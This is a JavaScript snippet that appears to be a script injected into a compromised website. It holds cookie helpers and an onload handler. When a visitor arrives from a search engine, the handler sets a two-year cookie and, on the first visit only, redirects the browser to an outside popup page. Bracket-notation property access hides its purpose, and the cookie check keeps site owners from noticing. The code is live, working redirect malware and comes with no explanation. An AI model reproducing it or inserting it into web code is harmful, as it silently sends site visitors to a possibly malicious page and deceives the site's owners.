function getCookie(cookieVar) {
        var cookie = document['cookie'];
        var cookieVal = cookie['indexOf'](' ' + cookieVar + '=');
        if (cookieVal == -1) {
            cookieVal = cookie['indexOf'](cookieVar + '=');
        };
        if (cookieVal == -1) {
            cookie = null;
        } else {
            cookieVal = cookie['indexOf']('=', cookieVal) + 1;
            var cookieVal2 = cookie['indexOf'](';', cookieVal);
            if (cookieVal2 == -1) {
                cookieVal2 = cookie['length'];
            };
            cookie = unescape(cookie['substring'](cookieVal, cookieVal2));
        };
        return cookie;
    };

    function setCookie(cookieVar, param1, param2) {
        var myDate = new Date();
        myDate['setDate'](myDate['getDate']() + param2);
        var cookie = escape(param1) + ((param2 == null) ? '' : '; expires=' + myDate['toUTCString']());
        document['cookie'] = cookieVar + '=' + cookie;
    };

    function checkCookie() {
        var refCookie = getCookie('referrerRedirectCookie');
        if (refCookie != null && refCookie != '') {
            return true;
        } else {
            setCookie('referrerRedirectCookie', 'do not redirect', 730);
            return false;
        };
    };
    window['onload'] = function () {
        var referrer = document['referrer'];
        var i;
        var myArray = ['google', 'yahoo', 'bing', 'yandex', 'baidu', 'gigablast', 'soso', 'blekko', 'exalead', 'sogou', 'duckduckgo', 'volunia'];
        for (i = 0; i < myArray['length']; ++i) {
            if (referrer['indexOf'](myArray[i]) + 1) {
                if (!checkCookie()) {
                    window['location'] = 'http://pagerank.net.au/img/popup.html';
                };
            };
        };
    };